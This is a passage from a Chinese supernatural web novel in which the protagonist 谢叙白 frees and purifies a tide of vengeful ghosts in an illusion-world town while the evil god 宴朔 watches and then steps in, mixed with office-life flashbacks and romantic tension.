他虽然看不惯,却没有出头的打算,双臂交叠垫着后脑勺,背往椅子上靠,乐颠颠地看着青年被骂得狗血淋头。 和他一样看乐子的同事也不少。宴朔休眠,管理作妖不干人事,那些人被压榨得喘不过气,看别人倒霉会有种扭曲的快意。 有人甚至幸灾乐祸地打赌,赌□□事这次要骂多久,初入社会的小年轻什么时候会被骂得崩溃。 结果却让他们失望了,不知道青年低声说了些什么,趾高气扬的管事忽然脸色微变,扭头气势汹汹地离开。 领路的人事助理早已见势不妙扭头溜走,一层楼上百双眼睛都凝视着青年。 青年在原地停留好几秒,方才顺着编号找起自己的座位,最后在吕向财的身边站定。 吕向财有点意外地挑了挑眉头。 之前几十次循环重置,他旁边的桌子都没人。仔细想想,这个人也有点奇怪,似乎见过,又似乎没见过。 见青年沉默地拉开椅子坐下,吕向财难得好心地宽慰道:“行了行了,别难过了,死胖子一直是那副仗势欺人的德行,前不久还骂哭好几个,你就是没做错也会被他鸡蛋里挑骨头。” “……嗯?”青年忽然回神。 他愣了愣,和颜悦色地笑道:“谢谢,我没事。你知不知道门口那两棵迎客松是谁在照顾?” 吕向财怔了怔,倒是没想到他会说这话。 刚才青年在门口愣上好几秒,他还以为青年羞愤难忍脸皮薄,原来是在观察那两棵迎客松? 吕向财探着脑袋瞧了瞧,两棵树表皮枯黑,枝叶凋零,眼瞅着是要死了,神仙难救。 想想也是,公司里聚集了这么多怪物,充斥着腐朽污浊的气息,就是铁树都扛不住。 他当然不能对一个普通人说出真相,见青年有点在意,随口道:“一般是清洁工,但他们不怎么管。听说前公司建立时选址有问题,坏了风水,人没事,但植物都活不长,隔不了多久就要换一批。” “原来是这样。”青年扭过头,打开电脑,低眉浅笑道,“我叫谢叙白,以后我们就是同事了,很高兴认识你。” 第二天一大早,吕向财就看见那两棵无人问津的迎客松旁边,多出一道停驻的身影。 青年自费买来无臭无味的有机肥和营养液,试图救回奄奄一息的迎客松,吕向财扯扯嘴角,权当看个趣味。 他没想到青年一坚持就是大半个月,真的让迎客松枯败的枝杈冒出几抹生机勃勃的新绿。 也没想到青年挺会来事,很快和同期新人打成一片,连一些吹毛求疵的老职员都对他评价不错。 有时候他加班疲惫不耐烦,想要骂人,旁边就会自然地伸来一只手,手里拿着小零食,巧克力、水果软糖或是独立包装的夹心饼干。 青年看着怔愣的他,弯弯的眼眸发着亮,像静谧的海面洒满月光:“吃点甜的,放松一下?” 那其实都是些稀疏寻常的小事,同事间的客套礼貌,不需要在意。 只是有一天晚上,销售部和设计部的管事打起来了,塌了两层楼,靠近门口的前台、工位、包括那两棵迎客松,全部遭殃。 吕向财看着在一片狼藉中扑腾的两名管事,还有迎客松支零破碎的残躯,眼睛缓缓眯起。 他突然非常想揍人。 第二天青年上班,看见残损的大门口和天花板,眉头一皱,先问有没有人员伤亡,得知没有,他松了一口气,扭头发现迎客松被换上了新的,蓦然愣住。 吕向财椅子后仰,不停转笔,状似不经意地看着青年。 他看见青年嘴角的弧度缓慢地降了下去,狭长的眉宇也往下压了压,似乎有些难过。 青年沉默地站了两分钟,将手伸向新的迎客松,轻轻地抚摸着,无声地说了一句:抱歉。 吕向财很奇怪地,将那一幕记了很久。 某一天,他看见综合管理部的人忽然把盆栽换成了塑料模型,制作技巧精湛,看着也是栩栩如生,绿意盎然。 鬼使神差,又或是心有所感。 吕向财扭头问青年:“你安排的?” 实习生怎么可能使唤得动人。青年啼笑皆非:“什么啊,只是主管觉得迎客松总是死,不太吉利,时不时更换也麻烦,我就顺便推荐了一家做造景的。” 吕向财眉梢微挑,想起青年前几天似乎频繁去过几次综合管理部,懒懒散散地问:“两棵盆栽而已,而且还是公司的,又不是你家的,这么费劲干什么?” 谢叙白顿了顿,无奈笑道:“其实就是一时兴起,不过后来发现真的能养活,还挺让人触动的。” “它们那么努力地活着,死了未免太可惜。” 回想那段时间,也没什么大事,除了日常就是日常,平平淡淡,但就是让吕向财感到放松。 或许是因为零食有点甜,也或许是因为生活总算不是一成不变,空无一人的邻座工位上,忽然多了个从没见过的青年。 而今都要没有了。 他要死了,彻彻底底地死,魂飞魄散那一种。 吕向财嘴唇翕动,喉结灼痛地一滚,仿佛借此咽下心里未知的恐怯,笑得更加轻松:“不管怎么说,很高兴认识你,所以就送到这里吧。” 就在刚才,他改了主意。 他不能死在谢叙白的手里。 谢叙白会伤心的,他一定会。 幻境骤然颤动,无中生出大量浓稠的红雾,裹挟着剧烈的风浪朝他们两人围聚,气流唰一下荡开,徘徊在金光保护罩外的怨魂被撞翻大半! 虽有手铐的束缚,但这是他的诡王领域。 吕向财眼神骤变,凌厉坚决,将手伸入的气浪中,气流如刀刃般锐利,只听咔嚓一声,金色手铐瞬间被切割得四分五裂! 他不敢看谢叙白的表情,半点没敢停留,转身朝幻戏外冲去,心跳极快地数着。 一秒、两秒、三秒…… 身后毫无动静,谢叙白竟没有追上来抓他? 吕向财直觉怪异,忍不住朝后面瞥了一眼。 就是这一眼的功夫,无数道金光凝结成的锁链猝然从四面八方飞射而出,顷刻间捆住他的手脚,令他动弹不得! 谢叙白抬起头,走向大惊失色的吕向财:“你刚才纠结那么长时间,原来是想跑?” 他掌心托着的那团金光,在红雾和怨气风暴对冲的波动里佁然不动,宛如一盏亘古存续的明灯,温和地朝外散出光晕。 光芒并不强盛,只有小小一团,但溢散出去的光晕广阔悠远,不知不觉,竟悄无声息地渗入红雾与怨气风暴,掌控全局。 吕向财没想到谢叙白刚才不吭不响的,居然在尝试控制诡王领域,更没想到自己会被制服。 即便他的领域不会抗拒谢叙白,即便谢叙白有着尊贵的客人身份,这情况也让吕向财大受震撼。 他头一次清晰认识到谢叙白究竟成长到了何其可怖的程度。 他努力挣扎,锁链却勒得更紧。毕竟是裴玉衡亲自教授的封印秘术,没那么好挣脱。 见谢叙白一步步朝他走来,吕向财尴尬地笑了笑:“其实我没想跑,你信不信?” 谢叙白眉眼含笑:“不信。” 他说:“你想把我困在幻戏中,然后跑到红阴古镇外,让规则将你绞成碎片,不过你漏算了一点。” “刚才你不是问我出去干什么吗?”谢叙白朝旁边一瞥,透过幻戏的幕景,对上宴朔深邃的眼睛,“宴总刚才来了,我找他请教了点事情。他说盛天集团的秘书被拐跑了,工作累积一大堆,没法处理,应该不会放你慷慨自缢。” 吕向财完全没想到宴朔会来,右眉毛疯狂抽搐,见谢叙白手持光团朝他靠近,担忧喝止:“你都知道他是来抓我的,还当着他的面杀我,不要命了?” 这不是威胁,是真的担心。宴朔杀伐果断,还特么占有欲极强。无关信任不信任,器重不器重,在诡怪的观念里,手下属于私有财产,他人妄动,便是宣战。 谢叙白顿了顿,对外扬声:“宴总,我——” “随便弄。”宴朔冰冷无澜的声音传进来,看起来完全没有为盛天秘书伸张的打算,“弄碎了再拼一次,不碍事。” “……”吕向财,“???” 对家公司想挖走我和那几名老骨干的时候,你可不是这个态度! 还有你们什么时候变得这么熟了? 谢叙白忽然失笑,转向吕向财:“你听到了。” 吕向财来不及开口,金色的光团乍放,将他的身体包裹。 他猛然紧张地闭上眼,下一秒惊讶地发现不痛,一点都不痛,就像乍冷时节迎来正午的阳光,阵阵暖意驱散四肢百骸的寒意。 他近乎迷失在这片暖意中,眼神涣散,大脑放空,意识被抽离,身体忽然变得很轻很轻,从未有过的轻松,心里的担子一点点消散,像飘在缥缈柔软的云雾。 吕向财仅存的意识忍不住想……这就是死吗? 【快动手杀了他!不然我就杀了你!】 【你怎么不去死,你这种人为什么还活着?】 【吕九,你狼心狗肺,丧尽天良!你不得好死!!】 一句句刺耳恶毒的咒骂在耳边响起,吕向财低低地笑出声。 早知道死掉没那么可怕,还这么舒服,当初他就早点死了。 忽然,头顶传来谢叙白温和的嗓音,将吕向财涣散的意志拉回一点。 “你的罪行我已经全部了解,有些因果必须要了结。”谢叙白说,“但够了。” 他声音微沉,平常地说着话,但每一个字音都好似带着庄严神圣的韵律,如金光般不容置疑地朝外荡开,宣判一般,震入红阴古镇每一个怨魂的耳朵里。 “溺死还命,镇魂百年,粉身碎骨,你受到的惩罚早就已经足够了。” 吕向财听到这句话,心里蓦然掀起惊涛骇浪,震颤不休。他不敢置信,嘴唇直哆嗦,压抑了上百年的情绪轰然爆发,分不清是激动还是委屈。 他想要睁眼,看看谢叙白,非常强烈地想要看看这人,但意识在金光里几经徘徊,终于还是被温和地拉入谢叙白专门开辟出来的意识空间。 等到恢复神智,吕向财在暖金的余晖中睁眼,看见了一张阔别多年的面孔。 顾南的魂魄双眼通红地看着他,愧疚又挫败地淌下泪来:“对不起,阿九,我太没用了。” 意识空间外,怨魂大怒。 它们不认可谢叙白的宣判,听不进去任何话,只想报仇,只想泄愤。 可谢叙白的力量过于强大,它们奈何不得,在半空不断嘶吼,血泪流淌:“他溺死还命,我们也受困被杀!他镇魂百年,我们亦被镇压百年,不得往生!他粉身碎骨,我们亦时时刻刻忍受腐朽之痛!地下阴暗潮湿,蛆虫蚂蚁在啃噬我们的尸骨!” “恨啊,好恨啊!凭什么要我们原谅!绝不原谅!除非魂飞魄散,否则不死不休!!” 谢叙白眉宇下压,怅惘哀怜地看着天上的怨魂潮:“我知道。” 他叹气道:“没人能替你们原谅,谁也不行。” 除去红阴古镇的贼寇,那些受缚的村人除了报复吕向财,没有伤害过其他人。 不,也不能说没有其他“人”。 远处传来凄厉惨叫,被压制而失去力量的罗浮屠及其手下被怨魂潮抓住四肢。 怨魂们不想让他们死得太快,那样太轻松,是以狞笑着,利爪慢条斯理地刮入皮肉经络,足足十几分钟,才撕下一块鲜血淋漓的肉。 其中一道怨魂忽然飘下来,停在金光之外,注视着“昏睡”的吕九,又移目,看向谢叙白。 他说:“好恨啊。” “我好恨啊。” “我们做错了什么?” 谢叙白认出来,这道怨魂就是当初质问吕向财为什么抓他回来的受害者。 前半生被拐,腿脚被生生打折,被罗浮屠逼去乞讨。后半生被救,匆忙赶回故居,发现老父老母为找他耗尽家财,身体患病,因承受不了丧子之痛,被逼得差点发疯,隐约患上痴症。 他忍着悲痛努力找到工作,来不及赡养父母,就被吕向财抓了回去,临死没有再见到二老一面。 这道怨魂盯着谢叙白,仍旧念叨着恨,念着念着,漆黑无瞳的眼眶里,又开始朝外渗血。 它扯开嗓子大声哭嚎,向天地倾诉。 “好恨啊!” “为什么他死了,我们也没法离开。” “还要杀他多少遍。” “还要恨他多久。” “好痛苦啊……” 未能赡养二老,是怨魂无法放下的恨,恨意变成枷锁,将它死死套牢,不断回忆起惨痛的过往,随时间叠加出更浓郁的恨。 它没有那么顽强坚定的心智,大部分的怨魂都没有。如此被恨意磋磨上百年,它什么都想不起来了,只记住了恨。 就是这一个字,让它和它们不得超生。 谢叙白忽然抬起手指,金光将吕向财缠绕几圈,加固保护。 他抬头看着那道怨魂,缓慢环顾铺天盖地的怨魂潮。 怨魂潮中传出声嘶力竭的哀鸣和嚎哭,有罪不容诛的恶鬼,亦有不得解脱的怨魂,它们狞笑着,挣扎着,肆意着,痛苦着,陷在这无穷无尽的人间炼狱。 谢叙白沉静温和的眼眸倒映着此情此景,狭长的眉宇微微下压,径直走出金光保护的范围。 他就这样毫不设防地站在怨魂潮的攻击范围内。 小触手越看越不对劲,冲进去勾住他的脚:【白白你想干什么?你不会想让它们杀了你吧!不可以!】 谢叙白低下头,金光捞起小触手,轻笑:“怎么会,我还惜命呢,还有很多事情没有去做,还要带你和大家一起去游山玩水。” 他用精神力将小触手送出幻境,交到宴朔的手里。 他其实已将幻戏屏蔽,令裴玉衡几人感应不到里面发生了什么,只是邪神例外。 宴朔按住张牙舞爪的小触手,抬头看着他,忽然说:“我见过许许多多的人,妄图将拯救众生的担子压在身上,但他们最后都活不长久。” 谢叙白反问:“那他们最后做到没有?” 宴朔不赞同地道:“哪怕做到了,也只是短短一个朝代或是一段时期的存续而已,有什么意义?” “当然有意义,人也不过活这百八十年,多挣一年是一年。”谢叙白却灿然一笑,和消极的宴朔有着截然不同的满足和欣慰,“而且哪止一个时期?日月更迭,山河轮转,总有人前仆后继,你不也见到了许许多多这样的人吗?” 宴朔眉宇微蹙,猛然生出一股难言的滋味。 和以往的欣赏不同,这次有欣赏,更多的是慌张。 他早该意识到,在谢叙白毅然决然抛弃平凡安乐,只为保护家人选择成神的时候,就注定会为了更宏大的“野望”,不惜以自身为祭品,走上更加崎岖艰险的道路。 事已至此,说后悔已经晚了。 祂不希望光芒陨落。 以后的谢叙白说不好会强到什么地步,但现在的祂有能力去阻止。 可就在宴朔准备动手之前,他和谢叙白对上了视线。 祂知道谢叙白怕祂,无关性情,这属于力量的悬殊,生物本能的压制。或许是感恩祂的照顾和帮忙,谢叙白在面对祂的时候,也总是一副温温和和、柔软乖顺的样子。 可是现在,那贯来柔软的目光变了。 就像谢叙白每一次做出决定时一样,变得坚定坚决——即使山崩地裂,天塌地陷,也无法阻挡他的坚决。 熠熠灼目,炽热难挡。 宴朔像是被什么厚重的东西击中胸口,好长时间都说不出话。他良久深吸一口气,沉着脸,努力按着眉心,也压制不住疯狂加快的心跳。 没出息。祂怒骂自己。 幻戏中的谢叙白已经收回视线,垂下眼睫,不留痕迹地摸了一下金丝眼镜,随即将手搭在怨魂的身上。 怨魂无实体,以精神力为媒介才能接触。阴凉森寒的气息透过接触点传递过来,谢叙白的手指被冻得发白。 他抬起头,眉眼清隽,宽容悲悯,金光映衬鬓发根根分明,侧脸轮廓清晰深邃,宛如日出时雪山峰峦顶上如锦流金的古老佛像。 像和家人谈笑,和朋友叙旧,他温言细语地道:“将你们的痛苦和憎恨,全部交给我吧。” 下一秒,金光大放! 第155章 故人重逢 金光普照而出,刹那间隔绝所有的喧嚣和吵闹,构造出安宁平和的方寸世界。 一开始,怨魂并不能明白什么叫“把痛苦和憎恨都交给我。” 当感受到一股无名的力量在触碰它的意识,它无比恐慌,疯狂地想要逃脱。 直至柔和的力量拦住它,如温泉流水般沁入心田,给它满是痛苦的大脑带来一丝清明—— 没有死过的生灵不会知道,变成厉诡怨魂的那一刻,生前所经历的痛苦和放不下的执念就在脑子里扎了根,不断循环重放。 想走路,先想到痛。想吃东西,还是先想到痛。 意志坚强或是有人安抚还好,若是意志薄弱又无人可依,便无时无刻不在疼痛。 所以怨魂能够恢复清明,发现自身的异常,自然是因为它突然不痛了。 可是……不痛了?竟然真的不痛了?它不痛了?! 干瘪沉寂的胸腔仿佛有什么物什变得鲜活,用力地怦怦直跳,怨魂差点激动得痛哭流涕。 它忍不住看向自己的腿,当初这条腿被人拿铁棍子生生打断。 事到如今,它仍旧能清楚地记起亲眼看见棍子敲下来的一瞬间,记得当时风声尖锐刺耳,那股让全身寒毛炸开、撕心裂肺的剧痛,和骨头断裂爆出咔嚓声时的莫大绝望。 它不明所以,明明还有触感,却感受不到一星半点的疼痛,为什…… 怨魂茫然抬头,目光猝然凝滞。 它看见谢叙白的鬓角缓缓渗出一层细密的冷汗,脸色唰一下变得苍白。 怨魂愕然,它后知后觉地发现了一个十万分荒谬的事实。 原来不是不痛,是这一次有人替它痛了! 宛如惊涛骇浪当头砸下,在一瞬间的不敢置信后,怨魂开始慌张无措。 它此生刻骨铭心的疼痛不止是被打断腿,还有长年累月的毒打。最严重的一次,血流满地,皮肉灼伤,可见森森白骨。 它忆起那段恐怖的记忆,依旧不痛。 每一个细节都历历在目,但就是不会痛。 怨魂如惊弓之鸟般看着谢叙白,看见对方忍不住颤了颤眼睫,仿佛竭力忍耐着什么,脸上血色尽失,鬓角爆出青筋。 怎么会有这样的……这样的……人? 就像长久处于黑暗的人不会相信光明,怨魂不理解萍水相逢的家伙为什么会为它做到这种地步,语无伦次,颠三倒四:“你做了什么?为什么要这么做?你在帮我吗?你怎么样?你有什么目的——” 谢叙白温雅的嗓音响起,比想象中还要平稳镇定,甚至带着一分柔和的笑意:“好了,不慌。” 惶恐的怨魂正对上谢叙白的眼睛。 即便忍受着难以想象的剧痛,这双眼睛也不曾出现半点阴霾和退缩,注视着它,平静,温柔,像暴风雨中屹立不动的灯塔。 “没有为什么,你迷路太久,也该回家了。”谢叙白托起一团光晕,送入怨魂体内,“临行前,我想给你看一段记忆。” 那是怨魂不知道的过往。 在他被吕向财抓走之后,他年迈且患有轻微痴症的老父老母,就被吕向财安排人接送到当地的福利机构颐养天年。 二老的情况不是很好,吕向财不希望怨魂冲动生事,干脆没说,但老人家那边能时不时收到怨魂的照片、书信和工钱。 二老不知道他是被抓走的,只知道他是为了给他们治病,远赴他乡赚钱。找到一个新工作,在某位地主家里当耕农,工作很卖力,涨薪很多次,还谈了个姑娘。 他们因病离世,走得突然,没有感受到什么痛苦。唯一的遗憾,就是他们的身体不济,不能长途跋涉到孩子工作的地方看一看他,没能在临死前和孩子见上最后一面。 但二老看着照片里安安稳稳的怨魂,想到自家孩子在受了这么多罪以后,终于能够安稳度日,便是这点遗憾,也觉得不算什么了。 在记忆片段中看到二老安详阖眼,怨魂潸然泪下。 但这次眼中淌出的不是血泪,而是一股透明清浅的泪流。他身上浓郁的怨气如暴雨般散开,狰狞青黑的鬼脸消失,露出一张泪水横流的、老实方正的人脸。 吕向财抓了他,又救了他的父母,恩怨相抵。他的疼痛由谢叙白承受,他的遗憾被谢叙白抚平,再也没有仇恨的理由。 他该走了。 谢叙白笑着轻声说:“去吧,一路顺风。” 被度化的魂灵满眼感激,躬身俯首,化为一缕青烟消散至天际。 彻底消失前,他的身上落下一抹淡金色光辉,落到谢叙白的掌心。作为答谢,他诚心诚意地向谢叙白献上自己的力量,虽微小,却虔诚纯粹。 谢叙白妥善地收了起来。 说起来他还要感谢系统,如果不是对方分给他的【神明】身份,他也没机会分散自己的识念,去逐一了解那些蒙尘的过往。 谢叙白解开空间限制,抬起头。 怨魂潮内金光闪烁,不少怨魂被带入单独开辟出来的方寸世界,说白了就是谢叙白临时搭建出无数个私人诊疗室,把它们分别带进去治疗。 当然会有怨魂为之不忿。 那些没有得到这种待遇的怨魂,看到身边的怨魂一个个得偿所愿,在宁静中安详升天,心里爆出滔天的嫉恨:凭什么救它却不救我?! 它们不再以吕向财为目标,争先恐后地围聚在谢叙白的身边,如同饥肠辘辘的鬣狗,眼中爆出青绿色的幽光,贪婪垂涎地盯着他。 黑雾中朝谢叙白伸出无数双青黑的利爪,指尖颤抖,如同抓取洪水浮木般竭力向前,怨魂们高声发出请求。 “高人,救我!救我!” “我把痛苦都交给你!” “看我啊!” “我也好痛苦,我也好恨啊!你看看我!” 见谢叙白闭着眼睛不理会它们,怨魂们表情霎时间变了,满目渴望变成滔天憎怨,尖啸声铺天盖地。 “道貌岸然的伪君子!” “你怎能不救我们?” “你必须救我们!” “你若不救,今天别想走出这方地界!” “你若不救,我们让你不得好死!” 谢叙白还没什么反应,小触手出奇地暴怒了。平时它听见有人想打人类都有点无法忍受,何况这群怨魂在叫嚣着让人类死。 一群嘎嘣脆的巧克力豆!谁给它们的胆子? 沉默许久的宴朔却撩起眼皮,按住吱哇乱叫的小触手,不让它窜进幻戏,冷淡地丢下一句话:“看着,他没你想的那样脆弱。” 话音刚落,谢叙白终于再次睁眼。 怨魂们骤然发现,谢叙白的眼睛变得不一样了。刚才还是黑色,如今却变成金瞳,里面没有似水温润,只有利剑出鞘般的凛冽威势,像巍峨群山压在面前。 难以言喻的恐慌感,随着谢叙白急剧变化的气势在怨魂潮中飞速蔓延。 还不等它们有所动作,金色的锁链闪电般贯穿黑雾,将刚才猖狂叫嚣的几只怨魂揪出。 怨魂毫无反抗之力,惊愕地盯着缓步走近的谢叙白,瞬间变脸。 “你要做什么?放开我!” “不,不,我错了,高人!不用你救了!放过我吧!” “我记得你。”谢叙白看向其中一道怨魂,不悲不喜地说道,“胡顺昌,虎头岭兴安寨的山贼,随战火流亡此地。曾经为求横财,杀害小安村包括妇幼老人在内共计十五人,流亡途中为遮掩身份,戕害七名路人。死后被红阴古镇纳入规则,化作伥鬼,祸害无数。” 他单手按在怨魂的脑袋上,垂睫时神色疏冷,金瞳溢辉如烈日,不怒自威:“你被千刀万剐而死,又被镇压百年不得解脱,受尽虫蚀之苦,此间因果已了,你的痛苦和憎恨由我了结,放心去吧。” 怨魂听得心惊胆战,这语气完全不像是要救它,而是要杀了它! 它欲要挣扎逃脱,下一秒谢叙白按住它的掌心乍然冒出一股强烈的金色火焰。火光大放,映照着谢叙白平静的脸颊轮廓,顷刻间将怨魂吞噬殆尽,凄厉惨叫响彻四周。 “艹!快跑啊!” 看见这一幕,上百道怨魂高声尖叫,扭身落荒而逃。 谢叙白原地不动,抬眸顺势看去。 无数道金色锁链飞射而出,穿透阴霾般浓郁森冷的黑雾,编织成天罗地网,将它们挨个捆住,拽回来摔在地上。 怨魂们遭殃,小触手痛快极了,扬眉吐气地笑:【这才对嘛!这才对嘛!就该狠狠地揍它们一顿!把它们打怕,打服!】 若非它只有一个触手尖尖,此时早已快活地鼓起掌来,夸赞人类杀诡的英勇身姿。 小触手扭头兴奋地对宴朔说道:【白白一个人太累了,我去帮他杀几只吧!】 “杀?”宴朔一声轻呵,嘲笑它的天真,“如果只是单纯地杀掉这些怨魂,哪用这么麻烦?” 不需要小触手上赶着当显眼包,祂抬一抬手指,就能将整个红阴古镇摧毁。 可是—— 宴朔看向刚才那只怨魂“死掉”的地方。 其他怨魂被谢叙白干脆利落的手段吓怕了,头也不回地四散逃开,乃至于没有一只怨魂注意到,火焰燃尽后并非空无一物,还留下了一道缥缈的青烟——一个被超度的魂灵。 白色魂灵茫然地看了看四周,最后遵循金光的指引,安详地升上天际。 佛有怒目金刚。 和其他慈悲为怀的菩萨佛陀不同,怒目金刚身披虎皮,头戴骷髅冠,手持各种法器,以愤怒的神情和威猛的形象被世人广而告之,扬名六界八荒。 怒目金刚超度恶鬼,不靠诵经,不靠劝说,而是手里一柄无坚不摧的降魔金刚杵。当头一棒,震山喝海,逼得万千厉鬼放下恶念,胆颤地俯首皈依。 世人皆以为怒目金刚凭勃然怒火和雷霆般的杀伐手段灭鬼,却不知金刚亦心怀对众生的慈悲心和保护欲,非灭鬼,是度化,威力皆来自于心中信念和对正法的奉行。 所以不一样。 宴朔动手,那些怨魂会在力量的冲击下魂飞魄散,化为涣散的能量,流散各处。因其怨念未消,大可能变成喂养其他诡异的饵料。 而谢叙白爱护世人的意志几乎成为一种信念,无法撼动,坚不可摧。 以这种信念为根基催动精神力,与怒目金刚法相契合,方能引动规则,铸造出佛谕中的纯净琉璃真火,强势涤尽恶鬼的怨恨和痛苦,完成真正意义上的超度。 所以此时此刻,小触手的帮忙无济于事,那帮留守的诡王没法帮谢叙白缓解半点压力,祂也不能上前横插一脚。 唯有谢叙白能做到。 宴朔目光转移,定格在谢叙白的身上,瞳孔深处轻微颤动。 谢叙白额头的冷汗更多了,几乎成股地顺着侧颊流淌而下,手背鬓角青筋突显狰狞,无意识地咬住后槽牙,全身骨骼在剧烈的疼痛中不住战栗。 天穹之上,数不清的金晕光圈微微闪烁,如万千星晨,散着温暖的亮光。 那代表谢叙白在超度这些恶鬼的同时,从未有一刻停下为善魂承担痛苦,调出过往,抚慰心灵。 诸多怨魂不堪重负的苦痛皆压在一个人的身上,可那人除去掐住手指,剧烈地换上几口气,脊背依然笔直,双眼仍旧灼热如烈阳,驾驭金火的手更是稳若磐石,不曾有一丝颤抖。 谢叙白笑着说:“不是让我救你们吗?来。” “你别逼诡太甚!” 怨魂潮怒吼,奋死抵抗。 金色火焰冲天而起,化作奔腾的巨浪轰然冲刷无边幻戏。所有怨魂眼前顿时变成金黑焰浪交织的世界,在一波又一波的对撞中,爆发出刺透眼睑的强光! 【白白,白白!】 小触手看得提心吊胆,突然它被丢在冰凉的椅子上,身上被设下禁制,动弹不得。 小触手愣了愣,看见宴朔倏然起身,大步流星冲进幻戏,感觉自己受到了欺骗:【混蛋!你不是说看着就行吗!放开我,我也要去!白白——】 幻戏中,强光散去,无数怨魂四仰八叉地倒在地上,哀声嚎叫。一部分怨魂被直接净化,留下纯净的魂灵茫然四顾,化作流星飞向天穹。 只是重伤的怨魂仓惶后退,以谢叙白为圆心,腾出大片的空白区域。 没有鬼魂胆敢吭声,现场陷入死寂,无数双眼睛惊惧交加地盯着正中央的人类。 它们曾经见过人类,弱小到能轻易逼疯,一爪子就能撕碎!可是眼前的这个人,他他他——真的还能算人类吗?什么人类能强到这种地步? 谢叙白虽然还能站着,却力有不逮,轻微摇晃着,不稳地往后退了两步。 忽然一只手从后方伸出,抵住谢叙白的后背,大掌箍着他的肩膀,顺势将他揽入怀中。 谢叙白始料未及,抬头看见宴朔轮廓深邃的下颔线。 宴朔的目光冷若冰霜,直勾勾地凝视那些怨魂,脸皮绷紧到微微颤抖,箍着谢叙白的手臂肌肉鼓起,劲瘦指节几乎掐入他的肉里,像是一头濒临狂暴的雄狮。 在谢叙白的观念中,金丝眼镜和宴朔多少还是有些不同的,所以他恍惚之下,第一反应是皱眉抗拒,催动精神力想将对方推开。 结果手腕一紧,竟是金丝眼镜突然化作坚硬的黑色手铐,将他的手腕和宴朔的手腕牢牢地铐在一起。 谢叙白瞳孔凝滞,宛若一盆凉水兜头淋下。 但下一秒,电光火石间,他捕捉到金丝眼镜和宴朔身上传出的情绪波动,愤怒,心疼,竟是达到空前绝后的一致。 金丝眼镜没有背叛他。 ……他之前到底是怎么想到,为什么会理不明白,这两个家伙,从始至终,就是同一个体。 谢叙白被宴朔勾着肩膀,按进对方的胸膛,浑厚蛮横的雄性气息将他包裹,在金焰尚未散尽的余热中,点燃一股隐晦幽深的燥热。 谢叙白沉默地喘上一口气,嗓子有点干,伸出手,覆盖上宴朔青筋暴跳的手背,玩笑般说道:“宴总,不知道为什么,我总感觉你现在很想打我一顿。” 手背突起的狰狞青筋,在谢叙白温柔的按揉中一点点平复下去。 宴朔低头看向谢叙白,和他清亮莞尔的眼眸对在一起,半晌面无表情地别开脸。 “不。”宴朔道,“你要往后排。” 随着最后一个尾音落下,不容抵抗的威压如滚雷般砸下,引起环形气浪涤荡而出,幻戏终于不堪重负,轰然破碎。 除却谢叙白还有被金光护住的吕向财及那些善魂,所有怨魂恶鬼均在巨大的冲击中倒飞出去,砸断横梁,砸破墙面,红阴剧院二层往上直接垮塌,砖瓦四溅,震响不断。 裴玉衡等人反应极快,动静爆发前便站起身,快速躲开掉落的碎石断木。 看见谢叙白掉出幻戏,被一个男人搂在怀里,裴玉衡心脏一颤,快步往前,担忧至极地大声询问:“阿白,你怎么样?” 谢凯乐则看着现身的宴朔,愕然地瞪大眼珠子:“三叔?您什么时候来的?” 平安想也不想地跳下二楼,对漫天怨魂龇牙咧嘴,冲着谢叙白飞跑过来。 谢叙白快口回应:“我没事!你们先不要靠近!” 再回头,就看见宴朔操纵着更纯粹厚重的黑雾,将奄奄一息的怨魂全部抓来,丢到自己的面前,垒成小山一般。 宴朔“体贴”提点:“都在这里,你将力量集中凝聚,一把火便能烧个干净。” 谢叙白看着那些哀声低叫、哭爹喊娘的怨魂,不知道该做出什么表情:“……多谢宴总。” 宴朔听出谢叙白话里压抑到极其细微的痛吟和小声抽气,看他半响,掌心覆盖在谢叙白的眉心。 男人的掌腹宽厚坚硬,带着一层薄茧,压在谢叙白苍白的皮肤上,略显粗糙,稍一剐蹭,便引起一阵酥麻的痒意。 谢叙白感觉到一股识念在侵入他的意识,出于对宴朔应该不会伤害自己的想法,他顿了顿,没有抵抗。 很快那股力量开始肆虐,像汹涌的海啸席卷天地,除却维持识念清明的意识海,无孔不入地渗入每一个角落。 阴冷、幽暗、缄默,构造出一种另类的安宁。 像是回到和宴朔初见的那天,他猝不及防被海浪卷入污垢海深处,一切嘈杂的声响都被海水覆盖。 他不再疼痛,不再难受,唯能感受到冰冷的水流从皮肤滑过,身体在下坠,下坠,直至坠入无边的静谧。 也是这时,宴朔捏了捏谢叙白的后颈。 微弱又强势的动作让谢叙白骤然清醒,找回神智,艰难地扣住宴朔的手腕。 他感觉自己像是不属于自己了一样,几乎被那股力量给冲得醺然,指尖不稳地轻颤:“……这是,什么?” “感知剥离。”宴朔顿了顿,晦暗地垂眸,轻轻地摩挲谢叙白失去血色的脸庞,缓声陈述道,“我没法像你一样,帮忙分担疼痛。” 邪神只懂破坏和剥夺。 所以光明才是光明,黑暗才是黑暗,泾渭分明。 宴朔贴近谢叙白的耳边,嗓音沙哑冰冷,与他耳鬓厮磨,缱绻缠绵:“你的意识、精神都过于光明和纯粹,被黑暗入侵的滋味不好受吧。” 谢叙白没说话,面色平静。 但他意识海深处的精神体,却在幽暗浪潮欲盖拟彰的来回冲击下,敏感地颤了又颤。 宴朔见谢叙白一味地战栗,不吭声,舌根忽然有点发苦,皮笑肉不笑地扯了下嘴角。 今日之前,祂尚有把握拽着谢叙白一起沉沦黑暗。 今日之后,祂终于意识到无论何其浓郁的黑暗,都不能让眼前的人类动摇片刻。 如果不是祂手快,如果有得选,或许谢叙白宁愿自己一个人痛死,都不会放任自己被黑暗侵蚀。 宴朔挺起身,手掌彻底覆盖住谢叙白的眼睛,不动声色地垂眸,在谢叙白头顶的发旋落下一吻。 若蜻蜓点水,稍触即离,隐秘无声。 他说:“既然不好受,动作就快一点,早点了结你想做的事。” 同一时刻,吕向财所在的意识空间。 谢叙白和一名女子面对面坐在一张桌子上。 女子大概二十多岁的年纪,穿着修长贴身的如意襟云纹领深蓝旗袍,左腿慵懒地搭上右腿。 这个姿势极其不雅,却愣是因为她美丽端方的气质,呈现出一股别样的妩媚韵味出来。 前提是不看她的脸,忽略上面深可见骨的血红疮口,和伤口处裸露出来的骨骼。 谢叙白手持金色描眉笔,笔尖在女人的疮面上一点,腐朽狰狞的伤口以肉眼可见的速度生出新的血肉,转眼又形成新的肌肤,滑腻嫩白,吹弹可破。 犹如枯木逢春,岁月施加的沧桑皱纹,可怖骇人的疮疤诡相,都在这双手的抚慰下化为乌有。 